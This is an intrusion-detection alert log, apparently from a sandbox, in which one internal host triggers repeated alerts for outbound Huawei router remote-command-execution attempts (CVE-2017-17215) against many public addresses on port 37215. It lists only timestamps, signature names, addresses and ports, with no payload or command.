2024-09-25T14:14:42.266913+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45070	197.45.37.80	37215	TCP
2024-09-25T14:14:42.268439+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47612	197.88.23.116	37215	TCP
2024-09-25T14:14:42.282191+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35278	197.78.221.181	37215	TCP
2024-09-25T14:14:42.282226+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39854	156.231.117.91	37215	TCP
2024-09-25T14:14:42.283005+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43152	156.210.180.184	37215	TCP
2024-09-25T14:14:42.297921+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33718	197.32.39.39	37215	TCP
2024-09-25T14:14:42.298743+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37152	41.64.174.42	37215	TCP
2024-09-25T14:14:42.301740+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58054	156.62.172.152	37215	TCP
2024-09-25T14:14:42.304105+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44494	156.59.247.173	37215	TCP
2024-09-25T14:14:42.313547+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50252	156.15.188.124	37215	TCP
2024-09-25T14:14:42.331147+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54706	197.101.92.66	37215	TCP
2024-09-25T14:14:42.454474+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52244	156.42.254.84	37215	TCP
2024-09-25T14:14:42.470022+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51900	197.250.101.246	37215	TCP
2024-09-25T14:14:42.470881+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38660	156.80.89.118	37215	TCP
2024-09-25T14:14:42.471004+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55290	156.58.104.192	37215	TCP
2024-09-25T14:14:42.472194+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54964	41.82.189.161	37215	TCP
2024-09-25T14:14:42.489754+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44376	197.242.74.227	37215	TCP
2024-09-25T14:14:42.501296+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35962	156.100.115.49	37215	TCP
2024-09-25T14:14:42.516386+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47648	41.36.156.215	37215	TCP
2024-09-25T14:14:42.516568+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46770	197.61.41.74	37215	TCP
2024-09-25T14:14:42.522396+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39488	156.21.52.238	37215	TCP
2024-09-25T14:14:42.689262+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41386	197.106.92.244	37215	TCP
2024-09-25T14:14:42.689262+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51420	156.65.31.199	37215	TCP
2024-09-25T14:14:42.690936+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37210	197.189.33.238	37215	TCP
2024-09-25T14:14:42.704196+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40988	41.198.29.203	37215	TCP
2024-09-25T14:14:42.708019+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40472	156.179.154.203	37215	TCP
2024-09-25T14:14:42.709677+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36634	41.234.65.145	37215	TCP
2024-09-25T14:14:42.721647+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52196	197.150.186.156	37215	TCP
2024-09-25T14:14:42.725690+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40346	41.106.32.54	37215	TCP
2024-09-25T14:14:42.751084+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51544	197.157.8.210	37215	TCP
2024-09-25T14:14:42.783990+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50690	41.10.145.181	37215	TCP
2024-09-25T14:14:42.784742+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50550	197.23.115.188	37215	TCP
2024-09-25T14:14:42.798778+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40368	41.240.129.181	37215	TCP
2024-09-25T14:14:42.813218+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36550	197.61.96.1	37215	TCP
2024-09-25T14:14:43.047997+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57958	41.147.82.72	37215	TCP
2024-09-25T14:14:43.063626+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54980	197.3.194.22	37215	TCP
2024-09-25T14:14:43.063739+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46056	41.81.241.220	37215	TCP
2024-09-25T14:14:43.064318+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59912	156.61.33.98	37215	TCP
2024-09-25T14:14:43.065162+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60642	156.12.16.163	37215	TCP
2024-09-25T14:14:43.065225+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46694	156.5.45.241	37215	TCP
2024-09-25T14:14:43.079287+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39810	41.4.228.194	37215	TCP
2024-09-25T14:14:43.079444+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36584	156.8.54.61	37215	TCP
2024-09-25T14:14:43.079591+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43490	156.87.134.32	37215	TCP
2024-09-25T14:14:43.083016+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35916	41.247.164.161	37215	TCP
2024-09-25T14:14:43.083305+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56366	197.159.244.122	37215	TCP
2024-09-25T14:14:43.084787+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38028	41.221.187.251	37215	TCP
2024-09-25T14:14:43.084943+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58074	197.125.230.96	37215	TCP
2024-09-25T14:14:43.100543+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34956	156.63.204.122	37215	TCP
2024-09-25T14:14:43.784214+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41644	197.176.242.81	37215	TCP
2024-09-25T14:14:43.789634+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60900	41.253.179.82	37215	TCP
2024-09-25T14:14:43.799616+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52326	156.138.102.107	37215	TCP
2024-09-25T14:14:43.814517+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58598	197.198.163.194	37215	TCP
2024-09-25T14:14:43.815743+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49938	156.60.202.13	37215	TCP
2024-09-25T14:14:43.817980+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58762	197.42.126.28	37215	TCP
2024-09-25T14:14:43.819359+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35554	41.176.71.4	37215	TCP
2024-09-25T14:14:43.846535+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48238	156.92.22.129	37215	TCP
2024-09-25T14:14:43.862155+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54014	41.133.211.22	37215	TCP
2024-09-25T14:14:43.862419+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35666	156.221.3.47	37215	TCP
2024-09-25T14:14:44.063258+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33568	41.91.77.103	37215	TCP
2024-09-25T14:14:44.079513+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51890	156.129.236.212	37215	TCP
2024-09-25T14:14:44.079515+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36810	197.11.43.164	37215	TCP
2024-09-25T14:14:44.081192+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53272	41.166.234.180	37215	TCP
2024-09-25T14:14:44.081375+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42234	41.248.146.253	37215	TCP
2024-09-25T14:14:44.082930+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53592	197.139.168.250	37215	TCP
2024-09-25T14:14:44.083278+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47136	197.200.44.43	37215	TCP
2024-09-25T14:14:44.095409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38214	197.76.158.67	37215	TCP
2024-09-25T14:14:44.095705+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50010	41.85.21.208	37215	TCP
2024-09-25T14:14:44.095765+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48752	197.179.163.209	37215	TCP
2024-09-25T14:14:44.095771+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45362	156.16.30.136	37215	TCP
2024-09-25T14:14:44.095954+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42280	156.54.30.158	37215	TCP
2024-09-25T14:14:44.096238+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36276	41.30.124.221	37215	TCP
2024-09-25T14:14:44.096533+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53846	197.13.5.180	37215	TCP
2024-09-25T14:14:44.098755+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56570	41.164.189.192	37215	TCP
2024-09-25T14:14:44.098887+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55680	197.31.136.188	37215	TCP
2024-09-25T14:14:44.098896+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53012	41.241.4.209	37215	TCP
2024-09-25T14:14:44.100983+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50414	41.37.99.107	37215	TCP
2024-09-25T14:14:44.116348+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49154	156.120.144.233	37215	TCP
2024-09-25T14:14:44.116447+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48180	156.223.233.239	37215	TCP
2024-09-25T14:14:44.798014+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51684	156.197.93.125	37215	TCP
2024-09-25T14:14:44.798511+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54234	156.9.49.199	37215	TCP
2024-09-25T14:14:44.813004+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33842	41.205.222.194	37215	TCP
2024-09-25T14:14:44.813545+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39380	156.10.201.221	37215	TCP
2024-09-25T14:14:44.813682+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52732	41.197.196.94	37215	TCP
2024-09-25T14:14:44.813796+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43676	41.183.69.4	37215	TCP
2024-09-25T14:14:44.813868+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56692	41.108.113.130	37215	TCP
2024-09-25T14:14:44.814253+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45144	197.127.121.218	37215	TCP
2024-09-25T14:14:44.814520+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35666	156.247.181.3	37215	TCP
2024-09-25T14:14:44.815309+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52264	197.42.40.6	37215	TCP
2024-09-25T14:14:44.815396+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50626	156.133.190.48	37215	TCP
2024-09-25T14:14:44.816056+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51130	156.187.27.147	37215	TCP
2024-09-25T14:14:44.818069+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41032	197.41.219.139	37215	TCP
2024-09-25T14:14:44.829978+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49574	41.230.144.206	37215	TCP
2024-09-25T14:14:44.830470+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60604	197.146.211.230	37215	TCP
2024-09-25T14:14:44.830822+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34458	41.66.249.255	37215	TCP
2024-09-25T14:14:44.833029+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34160	156.54.131.208	37215	TCP
2024-09-25T14:14:44.833357+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34922	156.217.168.64	37215	TCP
2024-09-25T14:14:44.849242+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58326	41.164.93.141	37215	TCP
2024-09-25T14:14:44.850740+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37242	156.207.227.232	37215	TCP
2024-09-25T14:14:44.864641+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58800	156.184.32.219	37215	TCP
2024-09-25T14:14:45.095212+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35946	41.236.13.158	37215	TCP
2024-09-25T14:14:45.112439+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39714	156.144.65.65	37215	TCP
2024-09-25T14:14:45.112524+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49410	197.23.19.49	37215	TCP
2024-09-25T14:14:45.126202+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32818	156.176.40.23	37215	TCP
2024-09-25T14:14:45.129947+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45976	41.80.213.82	37215	TCP
2024-09-25T14:14:45.130012+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37096	156.11.173.165	37215	TCP
2024-09-25T14:14:45.130312+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50460	156.84.236.81	37215	TCP
2024-09-25T14:14:45.143539+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44522	197.117.76.193	37215	TCP
2024-09-25T14:14:45.145795+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43292	41.114.111.77	37215	TCP
2024-09-25T14:14:45.147469+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38192	156.60.17.130	37215	TCP
2024-09-25T14:14:45.157390+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38926	41.65.43.211	37215	TCP
2024-09-25T14:14:45.173040+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52032	197.71.196.14	37215	TCP
2024-09-25T14:14:45.192537+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58234	41.118.254.51	37215	TCP
2024-09-25T14:14:45.282578+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59374	197.189.126.49	37215	TCP
2024-09-25T14:14:45.286185+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54876	197.186.2.97	37215	TCP
2024-09-25T14:14:45.313487+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58636	156.189.199.179	37215	TCP
2024-09-25T14:14:45.314165+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34868	41.7.135.121	37215	TCP
2024-09-25T14:14:45.330201+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45800	197.219.43.34	37215	TCP
2024-09-25T14:14:45.829592+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39572	41.201.186.158	37215	TCP
2024-09-25T14:14:45.829594+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44158	156.238.211.38	37215	TCP
2024-09-25T14:14:45.844352+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33476	41.164.43.67	37215	TCP
2024-09-25T14:14:45.844867+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52912	197.219.131.173	37215	TCP
2024-09-25T14:14:45.844931+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46548	41.16.107.48	37215	TCP
2024-09-25T14:14:45.844991+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34250	41.185.217.106	37215	TCP
2024-09-25T14:14:45.845111+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33702	41.8.124.140	37215	TCP
2024-09-25T14:14:45.846618+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38284	41.251.54.51	37215	TCP
2024-09-25T14:14:45.850810+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50064	156.17.146.209	37215	TCP
2024-09-25T14:14:45.860056+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52412	156.51.4.31	37215	TCP
2024-09-25T14:14:45.860560+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53422	197.244.192.231	37215	TCP
2024-09-25T14:14:45.861888+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35530	156.158.99.136	37215	TCP
2024-09-25T14:14:45.862806+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54112	156.63.146.130	37215	TCP
2024-09-25T14:14:45.862806+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41088	41.205.212.169	37215	TCP
2024-09-25T14:14:45.862831+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53134	156.140.88.204	37215	TCP
2024-09-25T14:14:45.864398+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46250	156.107.216.86	37215	TCP
2024-09-25T14:14:45.864629+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50236	156.1.92.175	37215	TCP
2024-09-25T14:14:45.866210+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44664	41.113.152.50	37215	TCP
2024-09-25T14:14:45.882287+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52972	197.27.230.23	37215	TCP
2024-09-25T14:14:46.126720+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41166	41.66.16.76	37215	TCP
2024-09-25T14:14:46.172957+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58010	156.188.5.100	37215	TCP
2024-09-25T14:14:46.174743+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34208	197.18.20.241	37215	TCP
2024-09-25T14:14:46.190415+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42246	156.12.35.216	37215	TCP
2024-09-25T14:14:46.313845+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41360	197.145.224.15	37215	TCP
2024-09-25T14:14:46.313908+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48762	197.10.195.1	37215	TCP
2024-09-25T14:14:46.331557+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50834	197.231.214.166	37215	TCP
2024-09-25T14:14:46.377540+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53498	41.4.56.229	37215	TCP
2024-09-25T14:14:46.860398+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57882	156.188.255.235	37215	TCP
2024-09-25T14:14:46.860558+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45922	156.22.33.252	37215	TCP
2024-09-25T14:14:46.860559+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55558	197.232.30.114	37215	TCP
2024-09-25T14:14:46.861220+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56418	156.74.183.182	37215	TCP
2024-09-25T14:14:46.862072+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38288	156.31.128.84	37215	TCP
2024-09-25T14:14:46.875523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58736	41.218.193.174	37215	TCP
2024-09-25T14:14:46.876151+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42306	156.180.118.136	37215	TCP
2024-09-25T14:14:46.876230+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55862	197.138.209.232	37215	TCP
2024-09-25T14:14:46.876324+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58782	156.103.4.128	37215	TCP
2024-09-25T14:14:46.879445+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34046	197.138.129.194	37215	TCP
2024-09-25T14:14:46.879629+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43854	41.117.24.187	37215	TCP
2024-09-25T14:14:46.880073+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58526	197.247.35.202	37215	TCP
2024-09-25T14:14:46.880241+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44766	197.30.224.191	37215	TCP
2024-09-25T14:14:46.880372+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55028	156.152.3.117	37215	TCP
2024-09-25T14:14:46.880922+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56090	197.103.80.54	37215	TCP
2024-09-25T14:14:46.881950+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45368	156.41.234.84	37215	TCP
2024-09-25T14:14:46.882116+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59670	41.87.151.254	37215	TCP
2024-09-25T14:14:46.882208+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34316	197.190.69.137	37215	TCP
2024-09-25T14:14:46.882376+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55088	156.63.107.70	37215	TCP
